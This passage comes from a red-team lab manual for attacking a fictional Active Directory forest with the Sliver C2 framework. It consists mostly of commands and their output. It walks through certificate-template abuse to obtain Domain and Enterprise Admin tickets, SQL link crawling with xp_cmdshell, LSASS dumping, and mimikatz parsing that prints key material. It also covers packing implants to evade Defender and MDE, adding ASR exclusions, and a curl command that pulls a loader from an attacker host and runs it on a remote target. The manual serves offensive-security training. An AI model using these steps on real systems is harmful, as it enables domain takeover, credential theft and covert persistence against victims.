PS C:\AD\Tools> notepad C:\AD\Tools\Sliver\esc1-DA.pem
Use the converted PFX from above with Rubeus to request a TGT for the DA - Administrator as follows.
[*] Using PKINIT with etype rc4_hmac and subject: CN=studentX, CN=Users, DC=d
ollarcorp, DC=moneycorp, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'dollarcorp.moneycorp.local\admi
nistrator'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIGWjCCBlagAwI[.........snip. .........]
[......snip. ..]
We can use the same method to escalate to Enterprise Admin privileges. Request a certificate for the
Enterprise Administrator - mcorp\Administrator.
[server] sliver (dcorp-std_https) > execute-assembly -p explorer.exe -t 40
'/mnt/c/AD/Tools/Sliver/Certify.exe' 'request /ca:mcorp-
dc.moneycorp.local\moneycorp-MCORP-DC-CA /template:"HTTPSCertificates"
/altname:moneycorp.local\administrator'
[*] cert.pem :
[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced
Cryptographic Provider v1.0" -export -out cert.pf
Save the certificate to esc1-EA.pem and convert it to a PFX using openssl as follows. We will use
Passw0rd! as the export password.
PS C:\AD\Tools> notepad C:\AD\Tools\Sliver\esc1-EA.pem
[*] Using PKINIT with etype rc4_hmac and subject: CN=studentX, CN=Users, DC=d
ollarcorp, DC=moneycorp, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'moneycorp.local\Administrator'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIF/jCCBfqgAwIBB[......snip. ....]
ServiceName : krbtgt/moneycorp.local
ServiceRealm : MONEYCORP.LOCAL
UserName : Administrator
UserRealm : MONEYCORP.LOCAL
StartTime : 10/9/2023 12:47:13 AM
EndTime : 10/9/2023 10:47:13 AM
RenewTill : 10/16/2024 12:47:13 AM
Flags : name_canonicalize, pre_authent, initial, renewa
ble, forwardable
KeyType : rc4_hmac
Base64(key) : BkP0F5pTDNuwuOLKxW/tvw==
ASREP (key) : 0DB3DAD44DF2FFD779B748D756E7E937
[......snip... ]
[........snip. ......]
CA Name : mcorp-dc.moneycorp.local\moneycor
p-MCORP-DC-CA
Template Name : SmartCardEnrollment-Agent
Schema Version : 2
Validity Period : 2 years
Renewal Period : 6 weeks
msPKI-Certificates-Name-Flag : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_
REQUIRE_DIRECTORY_PATH
mspki-enrollment-flag : AUTO_ENROLLMENT
Authorized Signatures Required : 0
[........snip. .......]
The SmartCardEnrollment-Agent template has EKU for Certificate Request Agent and grants enrollment
rights to Domain users. If we can find another template that has an EKU that allows for domain
authentication and has application policy requirement of certificate request agent, we can request
certificate on behalf of any user.
[server] sliver (dcorp-std_https) > execute-assembly -p explorer.exe -t 40
'/mnt/c/AD/Tools/Sliver/Certify.exe' find
[......snip. .....]
CA Name : mcorp-dc.moneycorp.local\moneycor
p-MCORP-DC-CA
Template Name : SmartCardEnrollment-Users
Schema Version : 2
Validity Period : 2 years
Renewal Period : 6 weeks
msPKI-Certificates-Name-Flag : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_
REQUIRE_DIRECTORY_PATH
mspki-enrollment-flag : AUTO_ENROLLMENT
Authorized Signatures Required : 1
Application Policies : Certificate Request Agent
pkiextendedkeyusage : Client Authentication, Encrypting
File System, Secure Email
mspki-certificate-application-policy : Client Authentication, Encrypting
File System, Secure Email
Permissions
Enrollment Permissions
Enrollment Rights : dcorp\Domain Users S-1
-5-21-1874506631-3219952063-538504511-513
[........snip. .......]
Now that we found such a template, request an Enrollment Agent Certificate from the template
SmartCardEnrollment-Agent.
[server] sliver (dcorp-std_https) > execute-assembly -p explorer.exe -t 40
'/mnt/c/AD/Tools/Sliver/Certify.exe' 'request /ca:mcorp-
dc.moneycorp.local\moneycorp-MCORP-DC-CA /template:SmartCardEnrollment-Agent'
[*] cert.pem :
[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced
Cryptographic Provider v1.0" -export -out cert.pfx
Now we can use the Enrollment Agent Certificate to request a certificate for Domain Admin from the
template SmartCardEnrollment-Users using certify.
[server] sliver (dcorp-std_https) > execute-assembly -p explorer.exe -t 40
'/mnt/c/AD/Tools/Sliver/Certify.exe' 'request /ca:mcorp-
dc.moneycorp.local\moneycorp-MCORP-DC-CA /template:SmartCardEnrollment-Users
/onbehalfof:dcorp\administrator /enrollcert:C:\AD\Tools\Sliver\esc3-agent.pfx
/enrollcertpw:Passw0rd!'
[*] cert.pem :
[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced
Cryptographic Provider v1.0" -export -out cert.pfx
Use the esc3-DA.pfx created above with Rubeus to request a TGT for the Domain Administrator.
[server] sliver (dcorp-std_https) > execute-assembly -p explorer.exe -t 40
'/mnt/c/AD/Tools/Sliver/Rubeus.exe' 'asktgt /user:administrator
/certificate:C:\AD\Tools\Sliver\esc3-DA.pfx /password:Passw0rd! /ptt'
[*] Using PKINIT with etype rc4_hmac and subject: CN=Administrator, CN=Users,
DC=dollarcorp, DC=moneycorp, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'dollarcorp.moneycorp.local\admi
nistrator'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIGWjCCBlagAwIBBaEDAgEW[.....snip. ....]
ServiceName : krbtgt/dollarcorp.moneycorp.local
ServiceRealm : DOLLARCORP.MONEYCORP.LOCAL
UserName : administrator
To escalate to Enterprise Admin, we just need to make changes to request to the SmartCardEnrollment-
Users template and Rubeus. Please note that we are using /onbehalfof: mcorp\administrator here.
[server] sliver (dcorp-std_https) > execute-assembly -p explorer.exe -t 40
'/mnt/c/AD/Tools/Sliver/Certify.exe' 'request /ca:mcorp-
dc.moneycorp.local\moneycorp-MCORP-DC-CA /template:SmartCardEnrollment-Users
/onbehalfof:mcorp\administrator /enrollcert:C:\AD\Tools\Sliver\esc3-agent.pfx
/enrollcertpw:Passw0rd!'
[*] cert.pem :
[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced
Cryptographic Provider v1.0" -export -out cert.pfx
[*] Using PKINIT with etype rc4_hmac and subject: CN=Administrator, CN=Users,
DC=moneycorp, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'moneycorp.local\administrator'
[*] base64(ticket.kirbi):
doIF/jCCBfqgAwIBBaEDA[......snip. ....]
ServiceName : krbtgt/moneycorp.local
ServiceRealm : MONEYCORP.LOCAL
UserName : administrator
UserRealm : MONEYCORP.LOCAL
[......snip... ]
SharpSQL is a C# implementation of PowerUpSQL and most of its modules and functions are similar.
[*] Output:
[*] Get-SQLInstanceDomain:
MSSQLSvc/dcorp-mssql.dollarcorp.moneycorp.local:1433
MSSQLSvc/dcorp-mssql.dollarcorp.moneycorp.local
TERMSRV/DCORP-MSSQL
RestrictedKrbHost/DCORP-MSSQL
HOST/DCORP-MSSQL
MSSQLSvc/dcorp-sql1.dollarcorp.moneycorp.local:1433
MSSQLSvc/dcorp-sql1.dollarcorp.moneycorp.local
MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local:1433, MSSQLSvc/dcorp-mgmt.doll
arcorp.moneycorp.local
Checking if our current user - dcorp\studentX has access over any of the instances we find we have
access to dcorp-mssql.
[server] sliver (dcorp-std_https) > execute-assembly -p explorer.exe -t 80
'/mnt/c/AD/Tools/Sliver/SharpSQL.exe' 'Get-UserPrivs -Instance dcorp-
mssql.dollarcorp.moneycorp.local'
[*] Output:
[*] Authenticated to: dcorp-mssql.dollarcorp.moneycorp.local
[*] Get-UserPrivs:
CONNECT SQL
VIEW ANY DATABASE
Enumerate Sysadmins for the database using the Get-Sysadmins module as follows.
[server] sliver (dcorp-std_https) > execute-assembly -p explorer.exe -t 80
'/mnt/c/AD/Tools/Sliver/SharpSQL.exe' 'Get-Sysadmins -Instance dcorp-
mssql.dollarcorp.moneycorp.local'
[*] Output:
[*] Authenticated to: dcorp-mssql.dollarcorp.moneycorp.local
[*] Get-Sysadmins:
sa
We aren’t a Sysadmin on the database. The Get-LinkedServers command in SharpSQL and most
alternative C# MSSQL offensive exploitation tools execute EXEC sp_linkedservers; to enumerate linked
servers defined in the local server, however some links can be defined on other target server links and
can be missed.
Since SharpSQL doesn’t have the Get-SQLServerLinkCrawl module to traverse multiple links at a time, it
is possible to traverse through each SQL Server link using SharpSQL one at a time using large
OPENQUERY statements. Since this is a bit cumbersome, we will be avoiding this by using
PowerUpSQL.ps1 with a Get-SQLServerLinkCrawl command at the end to make the script an executable
script and finally converting the script into a .NET x86-x64 assembly using PS2EXE as we did in the
previous modules to be used along with execute-assembly.
Next, append the following query at then end to crawl and enumerate linked servers.
Get-SQLServerLinkCrawl -Instance dcorp-mssql.dollarcorp.moneycorp.local
Finally, execite the ps2exe.ps1 script and convert the .ps1 into a .NET executable as follows.
PS2EXE-GUI v0.5.0.27 by Ingo Karstein, reworked and GUI support by Markus Sch
oltes
[*] Output:
We found two new links over dcorp-mgmt and eu-sqlx. It is also noted that we have sa privileges on eu-
sqlx which is a part of the EU.EUROCORP.LOCAL domain.
Next use the ps2exe.ps1 script to convert PowerUpSQLEx.ps1 into a .NET assembly compatible with the
execute-assembly command as follows.
PS C:\AD\Tools> C:\AD\Tools\Sliver\ps2exe.ps1 -inputFile C:\AD\Tools\Sliver\P
owerUpSQLEx.ps1 -outputFile C:\AD\Tools\Sliver\PowerUpSQLEx.exe -x64 -sta
PS2EXE-GUI v0.5.0.27 by Ingo Karstein, reworked and GUI support by Markus Sch
oltes
[*] Output:
wsluser@dcorp-studentX:~$ cd /mnt/c/AD/Tools/Sliver
Upload NtDropper onto eu-sqlx leveraging xp_cmdshell using the following commands.
Append the above commands to PowerUpSQLEx.ps1 and convert it to a .NET exe as before using
ps2exe.
PS C:\AD\Tools\ps2exe> C:\AD\Tools\Sliver\ps2exe.ps1 -inputFile C:\AD\Tools\S
liver\PowerUpSQLEx.ps1 -outputFile C:\AD\Tools\Sliver\PowerUpSQLEx.exe -x64 -
sta
[....snip. .... ]
Reiterate the process of converting PowerUpSqlEx.ps1 into an assembly one last time to leverage our
NtDropper to download and execute our tcp pivot shellcode using execute-assembly.
NOTE: Wait a few minutes before executing the Sliver payload since the payload generated is 10mb+.
[....snip. .....]
To dump the memory of the LSASS process, we can use minidumpdotnet, which remains undetected by
antivirus softwares and Microsoft Defender for Endpoint. This is because it employs a custom
implementation of the MiniDumpWriteDump() API call.
Downloads over HTTP, when combined with other risky actions, can increase the likelihood of detection.
Therefore, we execute from an SMB share to mitigate this risk. We host minidumpdotnet and
FindLSASSPID (for enumerating the LSASS PID) on our studentVM share, named studentshareX
(C:\AD\Tool\studentshareX).
On the student VM, create an SMB share called - studentshareX with the following configuration: Allow
Everyone ‘Read and Write’ permissions on the share, to do so, make sure to spawn a Sliver process with
Local Administrative privilege:
[server] sliver (dcorp-std_https) > mkdir 'C:\AD\Tools\Sliver\studentshareX'
[*] C:\AD\Tools\Sliver\studentshareX
Note: To make it easier in the lab we have enabled Guest access on the student VM so that eu-sqlx can
access our studentsharex. Note that your student machine name could also be dcorp-stdx.
Utilizing the dcorp\studentX Sliver session, we'll first verify if the share has been successfully created.
Following that, we'll proceed to copy the minidumpdotnet and FindLSASSPID tools into the share :
[server] sliver (dcorp-std_https) > sa-netshares
Make a copy of the PowerUpSql.ps1 script and rename it PowerUpSqlEx.ps1. Next, edit the
PowerUpSqlEx.ps1 script by appending the following line to the end, to enable the execution of the Get-
SQLServerLinkCrawl module in conjunction with xp_cmdshell. This will be used to enumerate the LSASS
PID on eu-sqlX using FindLSASSPID.exe.
Get-SQLServerLinkCrawl -Instance dcorp-mssql.dollarcorp.moneycorp.local -Q
uery 'exec master..xp_cmdshell "\\dcorp-stdX.dollarcorp.moneycorp.local\st
udentshareX\FindLSASSPID.exe"' -QueryTarget eu-sqlX
Next, utilize the ps2exe.ps1 script to convert the PowerUpSqlEx.ps1 script into a .NET assembly. This
conversion makes it compatible with the execute-assembly command, as detailed below:
PS C:\AD\Tools> C:\AD\Tools\Sliver\ps2exe.ps1 -inputFile C:\AD\Tools\Sliver\P
owerUpSQLEx.ps1 -outputFile C:\AD\Tools\Sliver\PowerUpSQLEx.exe -x64 -sta
PS2EXE-GUI v0.5.0.29 by Ingo Karstein, reworked and GUI support by Markus Sch
oltes
[*] Output:
[..snip..]
To break a detection chain, we will run benign queries. In the case of MDE, in our experience waiting for
about 10 minutes also helps in avoiding detection.
Get-SQLServerLinkCrawl -Instance dcorp-mssql.dollarcorp.moneycorp.local -Quer
y "SELECT @@version" -QueryTarget eu-sqlX
Execute the following command with execute-assembly to run the benign query:
[server] sliver (dcorp-std_https) > execute-assembly –p 'explorer.exe' -t 80
'/mnt/c/AD/Tools/Sliver/PowerUpSQLEx.exe'
[*] Output:
[....snip. .... ]
Do the same process of converting PowerUpSqlEx.ps1 into an assembly one last time to perform an
LSASS dump using the minidumpdotnet tool and save it to the studentshareX by appending this
command to PowerUpSQLEx.ps1:
Get-SQLServerLinkCrawl -Instance dcorp-mssql.dollarcorp.moneycorp.local -Quer
y 'exec master..xp_cmdshell ''\\dcorp-stdX.dollarcorp.moneycorp.local\student
shareX\minidumpdotnet.exe 700 \\dcorp-stdX.dollarcorp.moneycorp.local\student
shareX\monkeyX.dmp''' -QueryTarget eu-sqlX
NOTE: Performing an LSASS dump directly on disk on eu-sqlX can cause the .dmp file to be corrupted as
EDRs can sometimes mangle the .dmp file when written on disk.
[*] Output:
Note that since the memory dump is being written to a fileshare, you may need to wait for up to 10
minutes. The dump file size will initially be 0KB but eventually be something approximately 10MB.
Reiterate the process of converting PowerUpSqlEx.ps1 into an assembly one last time to Perform
another benign query for safe measure to break any detection chain using execute-assembly.
Get-SQLServerLinkCrawl -Instance dcorp-mssql.dollarcorp.moneycorp.local -Quer
y "SELECT * FROM master.dbo.sysdatabases" -QueryTarget eu-sqlX
[*] Output:
[....snip. .... ]
We can now begin to parse the exfiltrated LSASS minidump (monkey.dmp) using mimikatz as follows.
NOTE: If you encounter errors parsing the minidump file, most likely your student VM memory is full.
Attempt a quick fix by logging in and out of the student VM. Also, turn off Windows Defender on the
student VM.
Generate a packed .NET mimikatz with the following arguments to parse the LSASS minidump using
PEZor:
wsluser@dcorp-studentX:/mnt/c/AD/Tools/Sliver/PEzor$ sudo su
[sudo] password for wsluser: WSLToTh3Rescue!
[....snip. .....]
root@dcorp-stdX:/mnt/c/AD/Tools/Sliver/PEzor# mv /mnt/c/AD/Tools/Sliver/PEzor
/mimikatz.exe.packed.dotnet.exe /mnt/c/AD/Tools/Sliver/PEzor/mimikatz-ekeys-p
arser.exe.packed.dotnet.exe
Using execute-assembly to execute the packed binary to parse the dump in the elevated Sliver session,
look for a process with SYSTEM privileges to be the parent of the current spawned process.
We can always use the AbyssWebServer migrated to taskhostw.exe session for this
[*] Output:
[....snip. ...]
*
Username : dbadmin
*
Domain : EU.EUROCORP.LOCAL
*
Password : (null)
*
Key List :
des_cbc_md4 ef21ff273f16d437948ca755d010d5a1571a5bda62a0a372
b29c703ab0777d4f
des_cbc_md4 0553b02b95f64f7a3c27b9029d105c27
des_cbc_md4 0553b02b95f64f7a3c27b9029d105c27
des_cbc_md4 0553b02b95f64f7a3c27b9029d105c27
des_cbc_md4 0553b02b95f64f7a3c27b9029d105c27
des_cbc_md4 0553b02b95f64f7a3c27b9029d105c27
[....snip. ...]
[...snip...]
ServiceName : krbtgt/EU.EUROCORP.LOCAL
ServiceRealm : EU.EUROCORP.LOCAL
UserName : dbadmin
UserRealm : EU.EUROCORP.LOCAL
[...snip...]
Use PEzor in a new Ubuntu WSL prompt to create a packed version of the previous https Sliver implant.
root@dcorp-stdX:/mnt/c/AD/Tools/Sliver/PEzor# ./PEzor.sh -unhook -antidebug -
fluctuate=NA -format=dotnet -sleep=5 -b 1 /mnt/c/AD/Tools/Sliver/Implants/eu-
sqlX_ https.exe
root@dcorp-studentX:/mnt/c/AD/Tools/Sliver/PEzor# mv /mnt/c/AD/Tools/Sliver/P
Ezor/eu-sqlX_https.exe.packed.dotnet.exe /mnt/c/AD/Tools/Sliver/Implants/eu-s
qlX_https.exe
As the ticket successfully imported! We can now use winrs to access the remote eu-sqlX using Sliver's
execute command. Run the below command to test this.
[server] sliver (dcorp-std_https) > execute -o -S winrs -r:eu-sqlX.eu.eurocor
p.local 'set username'
[*] Output:
USERNAME=dbadmin
[!] Exited with status 6!
Next, in the Ubuntu WSL prompt use the rc4.py script to generate an RC4 encrypted version of the
Packed .NET Sliver implant named cipher.bin and a corresponding key called key.bin.
root@dcorp-studentX:/mnt/c/AD/Tools/Sliver/PEzor# cd /mnt/c/AD/Tools/Sliver
root@dcorp-studentX:/mnt/c/AD/Tools/Sliver# ll Implants/eu-sqlX_https.exe
-rwxrwxrwx 1 wsluser wsluser 17420288 Mar 14 09:36 eu-sqlX_https.exe
Host the generated cipher.bin and key.bin using HFS / a python3 webserver.
wsluser@dcorp-studentX:~$ cd /mnt/c/AD/Tools/Sliver
Note that use of winrs is not detected by MDE. We will append an ASR exclusion such as
“C:\Windows\ccmcache\” to avoid detections from the "Block process creations originating from
PSExec and WMI commands" ASR rule.
Let's use winrs again with Sliver's execute command to execute curl on the remote target - eu-sqlx to
download the CsharpLdr Loader so that we can later invoke our cipher.bin implant.
[server] sliver (dcorp-std_https) > execute -o -t 180 winrs -r:eu-sqlx.eu.eu
rocorp.local 'curl http://172.16.100.X/CsharpLdr.exe --output C:\Windows\Temp
\CsharpLdr.exe C:\Windows\ccmcache\'
NOTE: the execute timeout could be achieved while curl is running in the remote eu-sqlx server, just wait
few minutes for the curl to complete.
Make sure that CsharpLdr.exe is downloaded completely, check the file size to ensure this.
[server] sliver (dcorp-std_https) > execute -o -S -t 180 winrs -r:eu-sqlx.eu
.eurocorp.local 'dir C:\Windows\Temp | findstr CsharpLdr.exe'
[*] Output:
02/21/2024 10:48 AM 166,912 CsharpLdr.exe
[!] Exited with status 6!
Let's now run the implant using winrs and Sliver's execute command with its corresponding IP, port,
cipher & key path, we finally have a dbadmin Sliver session on eu-sqlX:
[server] sliver (dcorp-std_https) > execute -o winrs -r:eu-sqlX.eu.eurocorp.
local 'C:\Windows\Temp\CsharpLdr.exe'
[*] Output:
[*] Stderr:
[?] Usage:
• Sliver: https://github.com/BishopFox/sliver/releases
• StandIn: https://github.com/FuzzySecurity/StandIn
• ADSearch: https://github.com/tomcarver16/ADSearch
• ADCollector: https://github.com/dev-2null/ADCollector
• Dsquery: https://learn.microsoft.com/en-us/previous-versions/windows/it-
pro/windows-server-2012-r2-and-2012/cc732952(v=ws.11)
• Bloodhound: https://github.com/BloodHoundAD/BloodHound
• SharpHound: https://github.com/BloodHoundAD/SharpHound
• silenthound.py: https://github.com/layer8secure/SilentHound
• Sa-schtasksenum: https://github.com/sliverarmory
• Sa-Netshares: https://github.com/sliverarmory
• Sa-sc-enum: https://github.com/trustedsec/CS-Situational-Awareness-
BOF/blob/master/SA/
• SharpUp: https://github.com/GhostPack/SharpUp
• Seatbelt: https://github.com/GhostPack/Seatbelt
• LACheck: https://github.com/mitchmoser/LACheck
• CIMplant: https://github.com/FortyNorthSecurity/CIMplant
• remote-sc-tools: https://github.com/sliverarmory
• psexec:
https://github.com/BishopFox/sliver/blob/7d07f4c518838f8a31c532ac9ad5c79ec9db15f
6/client/command/exec/psexec.go
• SharpWMI: https://github.com/GhostPack/SharpWMI
• Stracciatella: https://github.com/mgeeky/Stracciatella
• Execute-Assembly: https://github.com/med0x2e/ExecuteAssembly
• Inline-execute-assembly: https://github.com/anthemtotheego/InlineExecute-Assembly
• PEzor: https://github.com/phra/PEzor
• SharpKatz: https://github.com/b4rtik/SharpKatz
• SharpSecDump: https://github.com/G0ldenGunSec/SharpSecDump
• Invoke-Mimikatz:
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-
Mimikatz.ps1
• Rubeus: https://github.com/GhostPack/Rubeus
• RubeusToCcache: https://github.com/SolomonSklash/RubeusToCcache
• c2tc-kerberoast: https://github.com/outflanknl/C2-Tool-
Collection/tree/main/BOF/Kerberoast
• Get-RBCD-Threaded: https://github.com/FatRodzianko/Get-RBCD-Threaded
• SharpAllowedToAct-Modify: https://github.com/pkb1s/SharpAllowedToAct
• delegationbof: https://github.com/IcebreakerSecurity/DelegationBOF
• Certify: https://github.com/GhostPack/Certify
• PowerUpSQL: https://github.com/NetSPI/PowerUpSQL
• Hashcat: https://github.com/hashcat/hashcat
Closing Note
This lab manual provides insight to operate Sliver competently with a good sense of endpoint OPSEC.
However, Sliver can implement a lot more advanced techniques like reflective dll’s, Syscall integration,
dllhijacking, socks5, rportfwd, BOF execution etc to handle advanced protections like MDE, Sysmon,
ETW, ASR and the like. This lab manual should be able to provide the base competency to research
tackling such intermediate and advanced defenses using the Sliver C2.